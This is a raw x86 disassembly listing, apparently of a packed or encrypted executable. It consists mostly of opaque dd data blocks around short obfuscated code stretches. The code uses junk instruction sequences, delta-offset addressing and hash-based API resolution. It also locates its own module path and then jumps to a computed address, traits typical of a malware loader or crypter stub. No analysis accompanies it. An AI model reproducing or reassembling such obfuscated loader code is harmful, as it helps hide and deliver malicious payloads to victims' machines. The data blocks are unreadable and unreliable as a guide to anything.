		dd 1BC4FB4Bh, 5F000014h, 8731BCBCh, 0C8640973h,	7FD95426h
		dd 0AC08A527h, 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h
		dd 91E309ABh, 722F7B1Ch, 286D3D32h, 4AFAA8E2h, 420ED6A0h
		dd 81CAC9A8h, 6C65255Ch, 0F5AF305Ch, 9A099860h,	21BD3804h
		dd 0CE490A5h, 11BD39E0h, 31087AFFh, 0ABA0691Dh,	7FBBC915h
		dd 3156744Ch, 2DF284h, 78D00000h, 0C941C4DCh, 0E324CBBh
		dd 8342AE3Ch, 305BF927h, 0A4492BC1h, 1F7280DDh,	0F6F04C30h
		dd 7365255Ch, 0F5AF3000h, 1388823Dh, 4ADC0000h,	700ED6A0h
		dd 0F23EBCD4h, 11AB3C3Fh, 0B5BA3D60h, 3DCFD537h, 2C24EBA0h
		dd 62CE1C4Ch, 0BE29C49Fh, 0C693912Ch, 82479586h, 48DDEDD5h
		dd 99517CC1h, 0F907920Fh, 950F2FCBh, 91EB0D49h,	0F94A651Ch
		dd 0C202089h, 0C155C76Eh, 0CB6F6BBBh, 99BF27B1h, 0AD851FE7h
		dd 0B35ABA71h, 0E021AA43h, 605852F6h, 92DBDBD6h, 6F35208Ah
		dd 79031783h, 0A8D067EFh, 0FCC47D40h, 7A940311h, 21Ch
		dd 37A0B348h, 0A919ECA5h, 0B9937B5h, 17B9F3Bh, 324AEF77h
		dd 4B46D0D2h, 2873A84Bh, 8E13DFC5h, 906C0E22h, 7397D5F1h
		dd 0AB524628h, 136D834Bh, 5D79B133h, 7F32C3B9h,	0A0D16BFCh
		dd 2FCC74A1h, 5553B3F1h, 99CDB5B8h, 8A38A8E8h, 0A33A6820h
		dd 2713F801h, 971E5EF3h, 84047D17h, 442089D3h, 6A78C4B6h
		dd 4B0782Ah, 9D0F8CF1h,	6816960Bh, 0A4FE208Ah, 1B79F911h
		dd 0E35AF385h, 5E0EB00Ah, 0DF42800h, 208AA98Bh,	13D57498h
		dd 0BCF77EFEh, 1D9426B1h, 27E39616h, 7914A6FCh,	0D6E46DF1h
		dd 3468C043h, 6D007298h, 287929C3h, 0B44A58A4h,	61F65E68h
		dd 7232D31Fh, 0BB18A1ADh, 1E3CE891h, 4FB0CD58h,	6DCEFFC5h
		dd 0A1A57C3Ch, 780E9418h, 0C5B75BF5h, 0C3B95D79h, 0C564A863h
		dd 0E08DEF03h, 0D5A4EF86h, 0DE5EDA69h, 0E6FC403Ah, 1B61F450h
		dd 6414ECDFh, 93529BECh, 70000000h, 43D5A74Ah, 56FBC1AAh
		dd 935FF5CBh, 99DE735Fh, 1BE53430h, 0AB7B09B6h,	0E90DACD0h
		dd 50ACC86Dh
		dd 1F32E652h, 9173D05Dh, 0ED84310Ch, 62h, 38DC78F5h, 28C2F642h
		dd 5DE8F64Eh, 8B81BDDh,	73092C05h, 8BA115DDh, 0E2423ADFh
		dd 39F252E0h, 58F236D7h, 7D17971Eh, 5BE68404h, 0DA168C30h
		dd 31BB17E9h, 285784h, 0B3730000h, 88EC01A0h, 0E982EB4h
		dd 0B5B28C93h, 0B2E8A37h, 6203E371h, 2873B346h,	0AA77163Ah
		dd 8C19EE5Ah, 8F94h, 0A0B32E00h, 0ADECA537h, 6537B599h
		dd 47EBE73Fh, 0F81CB835h, 8924A282h, 8D8CD179h,	71A58D8Bh
		dd 0F4479FDDh, 0EBA25BF2h, 0BCF5F26Bh, 0A7610874h, 0DA44E993h
		dd 43A3DD72h, 0EADAE941h, 48C1A2Ch, 46h, 33A4B35Eh, 0C4C8E899h
		dd 5A48B05Ch, 8B0D04C0h, 5CC49616h, 96247EB0h, 439F065Ah
		dd 7EB05CC4h, 97178A24h, 79B05CC3h, 0A0E0912Bh,	70B05CC3h
		dd 0F39AC632h, 24B629C8h, 5CC44D6Dh, 50DDC730h,	7FFh, 57510700h
		dd 0F1000000h, 8B0DED78h, 4D844508h, 5D1F31E5h,	6D213581h
		dd 0E6E8135h, 0E94BEA78h, 39A53745h, 99B6BE9h, 3B388D21h
		dd 0B74E58A4h, 58E99464h, 6E9F6D31h, 6C9F089Dh,	1DBA4BA7h
		dd 0C5305C00h, 0B759B43h, 800071h, 1290305Ch, 0C613BA26h
		dd 8431A4FEh, 0BAB78h, 0A6B34A00h, 183FA731h, 0C5019C60h
		dd 0A89DC872h, 87DB17A5h, 0F31E451Eh, 68113DB9h, 0DC8259ABh
		dd 54950Dh, 7F090000h, 0B1278202h, 861092A6h, 0B1278B0Bh
		dd 0D31F85A6h, 31A6B3F1h, 45700DA7h, 41F4AFDh, 0FB90F2Ch
		dd 954097Eh, 9F602021h,	0F2B0305Ch, 2359FC58h, 84EA9BD7h
		dd 0DCD9C8D0h, 0C1C1B04Ah, 5386E8D0h, 1FAD2F67h, 0CD0EAFD3h
		dd 2DA4D3F3h, 2A573h, 0A6B35700h, 0E6248331h, 60D6A04Ah
		dd 535DB80Ah, 93B930D4h, 51h, 70ED7837h, 0A6334510h, 1F14C921h
		dd 8C95158Ch, 257F305Ch, 0C680597h, 6C0E2020h, 127B1290h
		dd 9634FCCBh, 0C5AE0978h, 1E84305Ch, 819EF18Ch,	0F5B21B73h
		dd 0CA788F3Dh, 64DAA44Ah, 0F3B3EE78h, 0D5305CC4h, 485A3A42h
		dd 515909E0h, 57h, 36A6B3F1h, 0EC1AD30Dh, 8CEE00A8h, 43196FFEh
		dd 0C0B4762Ch, 978BC32h, 305CC5AEh, 78BE2CB2h, 678854EEh
		dd 0C6BBC915h, 305CC4C6h, 2E9C544Eh, 64DAA44Ah,	0F3B3EE78h
		dd 0D5305CC4h, 0DAE83440h, 346CE8BAh, 9C546EB6h, 0BAF78105h
		dd 305CC4FAh, 0E09ABE1Ah, 9F24E652h, 1741A1F7h,	35B8BC51h
		dd 2907719Bh, 260C688Dh, 26AD38D6h, 0BC8BF335h,	9841AD85h
		dd 1C9EF65Eh, 284AE0D4h, 86A80ECh, 0B43FFF22h, 0E8708B22h
		dd 6651485h, 0ED27C62Ah, 86F61B4Fh, 0E37A14F0h,	6C47F776h
		dd 0AE0AE6F0h, 9004F28Ch, 3AC11C7Dh, 571495Fh, 38F684F0h
		dd 97BA22BCh, 38E10DE5h, 830B6E8Ch, 0E81D8AA8h,	19779725h
		dd 0A3B5AA8Ch, 8169AEAFh, 0A8740015h, 0A55C871Eh, 0F1282351h
		dd 0DC1BE839h, 0D2FE46C4h, 2FFC40C2h, 0CBBA38E1h, 7BF913BBh
		dd 5FC38606h, 86148E49h, 6DA746AAh, 0B21AACC8h,	8815DD9Fh
		dd 0A90A871Eh, 7F9B7D03h, 8BF507B3h, 7D933BADh,	78386903h
		dd 98495F64h, 678A2E0Ah, 5F63DBF6h, 0E3495B49h,	408425C9h
		dd 604CC8AAh, 1F42A8CAh, 34D5F9DEh, 0FC185AF0h,	0D6CE7A90h
		dd 23A1F054h, 0C533C1C3h, 453C3CD1h, 495F6445h,	0DE71D5CFh
		dd 0AE3C469Eh, 0BFC25440h, 0B1586DF5h, 73D36123h, 7ACAB247h
		dd 314BEC68h, 0AD4CE0EDh, 55A92B7Bh, 0D93DB94Fh, 1466F430h
		dd 0ED7882F0h, 0F1462173h, 2D89618Ah, 78FF6D0Fh, 0C4F3B3EEh
		dd 0BDD5305Ch, 0B1DDE73Fh, 0BA48CCC5h, 7896347Eh, 46473ADCh
		dd 0B7A8CFABh, 0CAD824BAh, 0BBFB5233h, 0E1497CDFh, 18B225CCh
		dd 0EE93138Eh, 277D305Bh, 0B80AF9CBh, 46C4DC78h, 0D3D7D9EAh
		dd 3617B930h, 0B3000000h, 0BD33A4B3h, 4238DC78h, 4255E0E2h
		dd 0F8C5D76Dh, 0C8563CFh, 305C14B1h, 0CD892381h, 0F2F04C28h
		dd 0CA788406h, 48E2A64Ah, 3ECCD62Eh, 51DB7788h,	29h, 33A4B3F1h
		dd 0AE0978BDh, 0B2305CC5h, 0EE78BE2Ch, 5CC4F3B3h, 0AB871D30h
		dd 0ED78873Dh, 5156D943h, 0AD09E19Fh, 777DF389h, 0B4769FDBh
		dd 7DE6305Ch, 0FFFFFCEAh, 6B1125A1h, 439F3D8Fh,	0DC305CC5h
		dd 832DC057h, 0B533136Dh, 0C526661Bh, 0E617305Ch, 21F42FF4h
		dd 0E44C563Eh, 5BC8A5E5h, 31D8FC30h, 0F92961F7h, 0EC48E57Bh
		dd 0E8833248h, 5B1E049h, 2AB884F0h, 473E0694h, 72267680h
		dd 429F3EC2h, 0C6882B82h, 1ECFCh, 449FC600h, 8305CC5h
		dd 0FD7554Ch, 0EEAEE375h, 26305CC4h, 7EF9B47Ch,	9EF75FE9h
		dd 0DDD4D21Eh, 37B5A902h, 2F747530h, 13400141h,	0B244F07Dh
		dd 0E26A74C8h, 0E6D2324Ch, 0CFD52953h, 31C5F139h, 3BDFFB4Bh
		dd 0D28FD41h, 7691009Ah, 3C2FCCABh, 0FB78CB66h,	0C8043C33h
		dd 0CD197h, 76061500h, 0C3B95DFFh, 0E708632h, 5FDD3567h
		dd 0A5D77AD6h, 3B979008h, 6DCF6616h, 933DB034h,	0C771FC7Ch
		dd 0C5AA4B35h, 35E8A8D9h, 1228286Dh, 0B3EE78ACh, 305CC4F3h
		dd 0FAB871Dh, 0FEB393EDh, 8A52E473h, 0C9DF1B65h, 0ACECA53Fh
		dd 64305CC4h, 0E313F23Eh, 0CD384C43h, 0F61B4FE1h, 962CF086h
		dd 48EE7600h, 0FB1DBF36h, 0FB11BD81h, 45D0A579h, 0C64938D2h
		dd 4C2FC61Dh, 4762DB56h, 32023C39h, 0C4D9Dh, 0F282A900h
		dd 3F3DD143h, 8AF41AB6h, 0DB5949EBh, 215BFE5Ah,	0BF1B1C8Ch
		dd 0E153E29Ah, 17812CB0h, 5BF57800h, 492EC7B1h,	3664245Dh
		dd 9EAC286Dh, 0D2A04A28h, 45991B0Ah, 0C54A4A3Fh, 0D8CA305Ch
		dd 3427FA4Ah, 0ED9809A3h, 0A537B58Fh, 4EE16DFFh, 5DFFC22Eh
		dd 7D30BDBFh, 0DED365F2h, 30630F21h, 324AEF77h,	0FE881AC6h
		dd 37BEC056h, 75F72FB7h, 85F719BDh, 7DFF1DB9h, 0D641ECA1h
		dd 0E8CA4D44h, 5A4827DCh, 203A60DFh, 0EFC01C24h, 0BBEh
		dd 0CC611338h, 7AECC60h, 74F98395h, 0AB4AC8D8h,	1D90E409h
		dd 2BCEAA8Fh, 2170DC51h, 91A612A3h, 40EA46EFh, 0CCD6BF36h
		dd 6D34D5D5h, 5F0D3F28h, 41C4DC78h, 0D0663DD3h,	0C42CC2A3h
		dd 0C83F3AD0h, 0C2735D21h, 0FEB39321h, 5F52E473h, 37B51150h
		dd 1B4C019Ch, 0E94D6B41h, 0B5475D01h, 0AF770529h, 0AE206011h
		dd 0B2F02873h, 6FC9D41Ch, 903CB1CBh, 0D36AFC7Eh, 2F3AD053h
		dd 0F2FF3B0Bh, 33A0B350h, 9E57899Ah, 0D6CB2457h, 305C0ED6h
		dd 44D6643Eh, 71F322AAh, 2ADB17ADh, 37B4E58Bh, 5CC5198Bh
		dd 2872E580h, 0E031D864h, 8C1AC020h, 0AD5Eh, 0A64A6400h
		dd 0A1AB42D4h, 0B0B274FCh, 5C78B47Ch, 0CBCBC6B8h, 45305C79h
		dd 5975C95Fh, 5F7BCB49h, 792CC1BBh, 45DF69FEh, 79B6F6ABh
		dd 725E305Ch, 2713A123h, 0B56B6326h, 20F6B337h,	4639F531h
		dd 0B112920Fh, 0A0022873h, 0D4A64A12h, 4DE47A08h, 3408F5E4h
		dd 0B37768E4h, 3700000Ah, 7FD95424h, 0A00CA1DBh, 0D741EC8Eh
		dd 4B03DBFh, 72EA8BF1h,	4430C5B5h, 96160FA9h, 0E29ABD1Fh
		dd 294BE153h, 0CAC7E384h, 286D33CAh, 7852304Ah,	5D5D54EEh
		dd 0B7305CC5h, 0C4FCBCEDh, 8E14305Ch, 6C9079FFh, 0F743C373h
		dd 0A04D2FC3h, 676Fh, 0A64AB700h, 9F2D4FE2h, 0B040700Dh
		dd 0C4E4B655h, 0A58DEF00h, 2EB9B409h, 8F0AE59Ch, 0FDA837B5h
		dd 7E930BB7h, 99C26FEh,	0DA68A05Ah, 8DBDC5Fh, 7B6CE034h
		dd 0A2Ah, 20CDAF4Ch, 9B1A60F4h,	0C8651739h, 3FB6346Ch
		dd 71FC789Dh, 0BF523EFBh, 8D8430BDh, 25CA660Fh,	0DC7EDA5Bh
		dd 306A13A2h, 6D334141h, 0CBB9D328h, 0ED6A04Ah,	937E570h
		dd 504D42E2h
		dd 5C1E3C98h, 7C9430CAh, 0B60B8BFEh, 9F05305Ch,	7E921F53h
		dd 0EAC202DFh, 3D3C8430h, 0A2000002h, 336E143Ah, 305CBE73h
		dd 0AD71079Dh, 3FE9DB17h, 0D848EBEFh, 0B020107Fh, 7EEB828Fh
		dd 0B1224FABh, 950C9E2Ch, 37B57462h, 3BCA5250h,	0FBFACB5Ah
		dd 0EB7DEA05h, 34CB07B6h, 1809D53Ch, 0F6B05C94h, 0F2CAFBBBh
		dd 0DA37EC2Ch, 0E08DEE00h, 9C60F6ACh, 2FB92EC9h, 47D0F972h
		dd 5DEFB534h, 94195BF1h, 0C9601238h, 38B4154Ch,	5FC7F874h
		dd 9B000009h, 0C36D0070h, 74A04D2Fh, 0BB1598E2h, 0E844E96Bh
		dd 2EBE3745h, 0F084A909h, 42C2D37Dh, 8EEE01B3h,	0D5A7B5E7h
		dd 366B3758h, 286D3376h, 4A3E6C9Eh, 0B508D4A6h,	0E69B2DBAh
		dd 384C43AFh, 0F28B1D87h, 6E23FC33h, 286CE72Eh,	0AA29BCE6h
		dd 36B0780Fh, 63F577AEh, 0DCD8D8C9h, 6A38286Ch,	8091038Eh
		dd 0C26D20FCh, 0BCEC355h, 8B2FC5DAh, 0CEC78F19h, 1C75A74Eh
		dd 4F460E98h, 8DC965CDh, 1D640D6Fh, 3F3C390Dh, 8D4B027h
		dd 5160000h, 0BA5EFA7Bh, 6D832DC0h, 0DE366213h,	0D267D15Ch
		dd 94950BAAh, 0CA6B1124h, 38B5376Eh, 6C017B9Ch,	0A5482AC0h
		dd 0EBABE6C0h, 25286D31h, 2120B117h, 305CC559h,	419DDF73h
		dd 4894E075h, 0FA78923Ah, 5CC50787h, 59B0930h, 8B325239h
		dd 0E990B46Fh, 788F2660h, 98848D75h, 94875A96h,	0B5386903h
		dd 0DD37B580h, 539BDAC0h, 0BC4ED74Ch, 733FC5C5h, 0C7554F28h
		dd 0F587A935h, 2454FB63h, 636ECAD8h, 20BA2DC8h,	0C76DBA71h
		dd 902A782Fh, 0C2542634h, 387FED2Bh, 7E53C70h, 80159Dh
		dd 0DB261278h, 8A1D379h, 3C34E3FBh, 23124599h, 47000008h
		dd 8F29C4B4h, 309C116Bh, 67D15C1Eh, 9400AD2Fh, 0E27AFB81h
		dd 0B4C05545h, 6869F39h, 522ACD6Fh, 99DB71A3h, 7A377314h
		dd 286D313Ah, 78C2A0DAh, 0FC403ADCh, 5F7B0AE6h,	19305CC5h
		dd 0B9EC81F3h, 59F29BEh, 62795D68h, 0A58D9385h,	0B22F2AA4h
		dd 8A1C8637h, 2E0181F0h, 0E3EA2873h, 8C62B0EEh,	8B06A0ECh
		dd 28736F0Bh, 21099F05h, 80F81FC7h, 42D571EDh, 10D8EA3Ah
		dd 61ED93A4h, 0BBFBAECEh, 5528736Eh, 16968F4Fh,	930BBC80h
		dd 5B000007h, 3C3EDC78h, 5B16E2E0h, 0C4BD4FD8h,	37B5A8E9h
		dd 0B7356D49h, 8824DD21h, 7C2873A9h, 18E829D0h,	568C19FCh
		dd 124h, 0DBA54A6Ch, 0D6564F0Bh, 0CAA8420Eh, 5CC4D7D7h
		dd 0D56B3930h, 0D2AA4D09h, 1E5EF123h, 41CB8C6h,	61F7AA86h
		dd 0CD255CEEh, 1D305CC5h, 247B1380h, 0E44C43C2h, 255AAAF8h
		dd 0D2D2CF59h, 42305CA6h, 0C5648860h, 0E18CEC03h, 4133D985h
		dd 0AF0BE7FDh, 922CF088h, 9F5B25CAh, 5CA5DAEEh,	27C9230h
		dd 0CC849622h, 66BE4C2Eh, 30C26B95h, 0E420C9CFh, 0D1842953h
		dd 473ACC43h, 305CA63Fh, 0AC39D3D1h, 4629C3ECh,	0E508CCB7h
		dd 4B075B97h, 0F95BDA5Ah, 0FCD824A8h, 0AFC01C5Eh, 0CDC400A9h
		dd 1B0AA64Fh, 933B4599h, 0B8C7FA7Fh, 0A2D78D4h,	0DE1AA874h
		dd 0F5871003h, 0B4D281BCh, 59F3B137h, 0E05E57CCh, 0FE5EB154h
		dd 0C6CB2759h, 6D8F3B6Ah, 0ECA17D13h, 4A47D144h, 28735C46h
		dd 0F9C9D3CEh, 4FA8CFCCh, 683265B9h, 52E3A3DEh,	772D2873h
		dd 822195E6h, 6CC414CEh, 76AF5900h, 0C4DD7FF6h,	2DC32847h
		dd 1BA93C6Bh, 4FCDC581h, 7FFA4FE3h, 98235EE8h, 0FE2FCBD1h
		dd 76AF09A4h, 3ADD7FF6h, 0AB33B342h, 8E3CF484h,	0A537A0B3h
		dd 0B5B9C9ECh, 8B5B4937h, 5C552BCFh, 2873BA5Ch,	0A411E9B4h
		dd 0C09C5624h, 730A9C32h, 423F0659h, 2872E542h,	6E45D0D2h
		dd 0A934FC04h, 5A4B319h, 0E064BDF1h, 8160BC52h,	305CC525h
		dd 459637DBh, 8430E07Bh, 47FBh,	0DC78CF00h, 0E1E34339h
		dd 0C589AD09h, 0E9FB4B31h, 9A1A8B5Bh, 0E9305CC4h, 6E8246E7h
		dd 39977D08h, 2FDE2B82h, 5BC93A7Ah, 3AC8DA30h, 0A40CCCBBh
		dd 0E07A305Bh, 5AAAD064h, 0C3C3BE48h, 4D305BA2h, 9E249B57h
		dd 7EFFFFFFh, 60D6A04Ah, 0A4B39032h, 2763BD33h,	30D4535Dh
		dd 3193B9h, 0B3370000h,	78BD33A4h, 9ED266EEh, 0A022027Ch
		dd 78B03212h, 5CC50989h, 2B990B30h, 0A64ACA78h,	0FF7766D4h
		dd 1BB80E66h, 7EBA0268h, 27514Ch, 0B3F10000h, 78BD33A4h
		dd 0FD413BDCh, 0E49D0BE7h, 305CC4A4h, 2AB2445Ah, 0FBD7507h
		dd 0A64ACA78h, 0FF7766D4h, 7EBAC257h, 6ED784Ch,	4BFE1386h
		dd 93138E18h, 7D305CB4h, 49EFCB27h, 0F98FED01h,	0B53C7C25h
		dd 51C305Ch, 3E361B1h, 0A713F381h, 18C4E891h, 277C1DC9h
		dd 0EC004D91h, 5272AD4Dh, 92834BABh, 14B03212h,	1BBF7B01h
		dd 9BEA8BF5h, 305C95C6h, 0F4062D96h, 0F551FFFFh, 0EDDF1B61h
		dd 59D4A64Ah, 0EA7CEB06h, 0B5A894B7h, 96208237h, 9D55D7CEh
		dd 7D9F4741h, 7A563703h, 6E2873A9h, 269E3BE2h, 408C19F8h
		dd 7, 15162h, 78F10000h, 0E03C3EDCh, 0AB3943D4h, 1087924Fh
		dd 0B0800B86h, 0C9637B5h, 0A708430h, 0DC62FB6Bh, 6AF7D1BFh
		dd 6014399Dh, 5B2A069Ch, 2872D50Dh, 42D4A44Bh, 34088A9Ah
		dd 0EF7F42AEh, 5AAAD267h, 712ABD48h, 6986A72Fh,	4C021581h
		dd 770DD1ABh, 69C41DE1h, 14D07993h, 6AF47903h, 0EC30B2E2h
		dd 9CBE1AD6h, 0FB9214E2h, 0E788499Dh, 9703EF1Fh, 0B93DFB85h
		dd 0DA70B455h, 0B4460E98h, 80687ACAh, 635D1E54h, 8384B0D4h
		dd 10Eh, 32A5B327h, 0AE0978BCh,	0B2305CC5h, 91009A2Ch
		dd 305CC511h, 0FA829703h, 730A982Ah, 3681C294h,	0D6F43CA1h
		dd 2F66EE78h, 0C4B8F8A9h, 4A58305Ch, 0F25A68B4h, 0BCC61E58h
		dd 5F025674h, 67183FA7h, 2136B67Fh, 8363F1F3h, 4A9B2901h
		dd 2E4CE0A0h, 0DC782A98h, 0FBB6403Ah, 305CC4BBh, 4FE34F55h
		dd 0C97D9531h, 62C25024h, 6ABAC456h, 5C6ECA58h,	0F3B3EE78h
		dd 1D305CC4h, 4D89CB1h,	6D00E87Eh, 0AAD267C6h, 4BA485Ah
		dd 0DC782763h, 0D4F74339h, 0B930D3DCh, 361Ah, 0A4B3A800h
		dd 978BD33h, 305CC589h,	78AB198Bh, 0AED066EEh, 0AAD47A56h
		dd 7EBA485Ah, 3EDC784Ch, 2CC0F43Ch, 0FF77984Eh,	4AEB5D66h
		dd 5B97FE83h, 3A5169h, 0B3F10000h, 3D9933A4h, 2805C18h
		dd 0EE789436h, 7B9FD366h, 11A73D01h, 0C9081CDh,	0D41CB230h
		dd 5CC57535h, 0A51BA930h, 0A64ACA78h, 421E4BD3h, 99FC79Bh
		dd 57FF775Bh, 4C7EBAC2h, 0FFFEE951h, 0A04AF1FFh, 0A8420ED6h
		dd 0E10C27CEh, 0CEADE476h, 0C437B5ABh, 439F06DEh, 392873ACh
		dd 2953E76Fh, 0DFFC9DC1h, 8C19F4E5h, 3B01h, 0A0B3A100h
		dd 0EDECA537h, 5F37B5AAh, 0C51963F7h, 158F73BFh, 4B35DB83h
		dd 0ED01E9FBh, 73AA9834h, 20BA4C28h, 0BBEE6CA4h, 2873A9FBh
		dd 3FA38F15h, 0FB837D9Eh, 0D3E38C19h, 0C7000000h, 0ED6A04Ah
		dd 71CDAF42h, 79C5B745h, 0DCDCD56Fh, 34305CC4h,	416826Eh
		dd 448CFB7Ah, 84305CC1h, 0EA720476h, 0F1FC3446h, 0A4FDB547h
		dd 8C958927h, 39CF5BCFh, 0A3B511ABh, 0B37F05D9h, 0DAD7617Fh
		dd 305CB3DAh, 4EEC683Ah, 66D2D02Ch, 0AD3FA84Bh,	0B592E5F4h
		dd 0DE574D37h, 6DFF688Bh, 0C7BBE534h, 0DED3CD2Fh, 2087BADEh
		dd 4CDE6C36h, 4060CDB1h, 816917E9h, 0E29ABF27h,	863AD353h
		dd 2E028B39h, 87077A0Ch, 892086D9h, 56FBDF1Bh, 0D688B26h
		dd 0D8143C34h, 225E7h, 0CAAA4100h, 1765892Bh, 621C329Eh
		dd 0B33161D3h, 0F9839602h, 5743E474h, 993BBAC2h, 0CF690488h
		dd 73DD5028h, 71169FD9h, 2B3C7C35h, 0A6D4286Dh,	0D5A74AC0h
		dd 1C5EFC58h
		dd 0A0B33191h, 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh
		dd 3E8653FAh, 0B88C19FBh, 0CAh,	0B3EE780Ah, 305CC4F3h
		dd 76C1A1E4h, 157961A9h, 0E577A38Fh, 0A33D4B9Bh, 5C48AEEEh
		dd 0F43C6630h, 0F74F2DC0h, 5C45C60Eh, 8AF40630h, 0D1A349EBh
		dd 1CBDB80Dh, 20A282F8h, 3A89F892h, 237B524h, 24793968h
		dd 99B2873h, 0CE673D21h, 7D0F989Bh, 662451E0h, 0C28A4B98h
		dd 0E6522Ch, 0C7DCDB91h, 39D3D12Fh, 6AFC789Dh, 0D3334DE2h
		dd 389419D1h, 25CA6715h, 0A33C3509h, 1503C93h, 81AA0000h
		dd 3ED27EF7h, 0F107B13Ch, 5A4AE68Fh, 56FB55D8h,	18118F26h
		dd 4EE795B8h, 0BC31B3E2h, 0F07DFF10h, 29C4B644h, 67275A44h
		dd 0A9286D2Bh, 0ED782D93h, 414A701h, 0FEDA1652h, 7A02175Bh
		dd 0EB8A18AAh, 47D1A349h, 2B07799Fh, 0A04A1CA6h, 749844D6h
		dd 0DAF62A06h, 0F4AF4630h, 255CEE79h, 37B5C2A2h, 0BBFBB6F0h
		dd 552873C1h, 5DA1D379h, 8923B147h, 0A04D2FCDh,	8B89AF46h
		dd 3808DE9Ch, 4436C4F0h, 0C4F1BB2h, 0D2324AEFh,	9C6445D0h
		dd 0D8E63AF6h, 409CDE7Ch, 4769A42h, 934EAA38h, 0C851780h
		dd 3062EF9Dh, 43620F95h, 113C3937h, 9CEADDh, 3DDE0000h
		dd 0F206B243h, 0A54BE588h, 0A6FE5ADBh, 0A2F8924h, 0CC6DC372h
		dd 823349ECh, 0F07DFF16h, 24C9B344h, 9D106288h,	0B3F3AEF8h
		dd 5D286D29h, 0A0B3792Fh, 430BA537h, 6766D252h,	384C451Ch
		dd 4A54A8FAh, 44C1C1B0h, 5153286Dh, 5A1F3D99h, 33D77CC2h
		dd 0A64FDD2Eh, 70A0E00Ah, 29012F2h, 6E1A4322h, 9BBD2F9Fh
		dd 5A2436F2h, 0A1D379DBh, 0A321715Dh, 8A522C43h, 9AB01466h
		dd 0B27E04D8h, 0D765AF4Eh, 8EAC08A5h, 0CE9610ECh, 0F78D512Bh
		dd 8843Bh, 52FA0000h, 5072BEB8h, 0A14AF654h, 0A9430FD7h
		dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h
		dd 0CD636FB7h, 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	7EF8241h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 7Dh
		dd 189CEA1Ch
		db 0A9h, 0F3h, 5Fh
; ---------------------------------------------------------------------------


loc_5EDA7B:				; CODE XREF: sdfs____:005EBF38j
		mov	eax, 7EF9C55h
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+7E92659h], 47h
		push	0CF381725h
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+7E90349h]
		push	eax
		push	104h
		call	ebx	; _iob
		mov	byte ptr [ebp+7E92659h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7EF8015h],	eax
		cmp	dword ptr [ebp+7E92EB5h], 0
		jz	loc_5EDAE5
		mov	ebx, [ebp+7E909C5h]
		jmp	loc_5EDAEA
; ---------------------------------------------------------------------------


loc_5EDAE5:				; CODE XREF: sdfs____:005EDAD4j
		mov	ebx, 0


loc_5EDAEA:				; CODE XREF: sdfs____:005EDAE0j
		push	100h
		lea	esi, [ebp+7EF8019h]
		push	esi
		push	ebx
		call	dword ptr [ebp+7E930E1h]
		lea	esi, [ebp+7EF8019h]
		add	esi, eax
		jmp	loc_5EDB0B
; ---------------------------------------------------------------------------


loc_5EDB0A:				; CODE XREF: sdfs____:005EDB17j
		dec	esi


loc_5EDB0B:				; CODE XREF: sdfs____:005EDB05j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5EDB1D
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5EDB0A


loc_5EDB1D:				; CODE XREF: sdfs____:005EDB0Ej
		mov	byte ptr [esi],	0
		lea	eax, [ebp+7EF8019h]
		push	eax
		call	dword ptr [ebp+7EF8015h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dd 731D80FEh, 442A7605h, 593F5A72h, 373AE6A9h, 1DC4E175h
		dd 1553067Eh, 0E8A16E5h, 0C7ED018h, 301F978h, 2E963998h
		dd 6D34C6C7h, 14E3B19Fh, 342652E4h, 586BB6D3h, 7D8E2DFFh
		dd 3239AB7Dh, 5E3B9707h, 2F79B957h, 62D55E80h, 524EBB02h
		dd 76F91DE2h, 683D9A05h, 799E466Eh, 28BEF033h, 29789D6Fh
		dd 3C76E4C2h, 4BB9C3FCh, 7375C26Fh, 18A23315h, 4988570Fh
		dd 0CE8h, 0B4849F00h, 626CAF55h, 62A688B0h, 82AEBBB2h
		dd 0E9591BE1h, 11h, 0D2B84127h,	301120D9h, 23B1979Fh, 15B4C4F6h
		dd 8DC18186h, 8000005Dh, 0E9BA14C4h, 812D0BA5h,	0F4715CC2h
		dd 9524BED2h, 31FF2DE7h, 32C08166h, 81665FD5h, 81EF44EBh
		dd 63913DC7h, 1D20B87Eh, 0EF8128AEh, 8EFF020h, 55F781F8h
		dd 0F68B3CCh, 8F57F1B7h, 4E98301h, 0EA81D98Bh, 1, 0FFC4850Fh
		dd 8D8DFFFFh, 7EF9F27h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0D0C35242h, 12E9E38Eh, 0AF000000h, 47EA49F4h
		dd 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0D8D89ACh, 8007E932h
		dd 85C748D3h, 7E922E5h,	63ACh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 5AC35545h, 66BA178Fh, 0C7476F84h
		dd 0E922B185h, 7, 66B6BB00h, 0B5FF30A9h, 7E9170Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CDC35646h, 0B7B6BCB4h
		dd 8595FF2Fh, 6607E922h, 6ADE8Bh, 0C3195FFh, 0C08B07E9h
		dd 9C0D28EBh, 4DC6A985h, 337E1B96h, 9AB39DFFh, 0C5A0ABC8h
		dd 0F5D8BFEh, 325DF423h, 85D8EECAh, 3DF8319Dh, 0EBAFEA61h
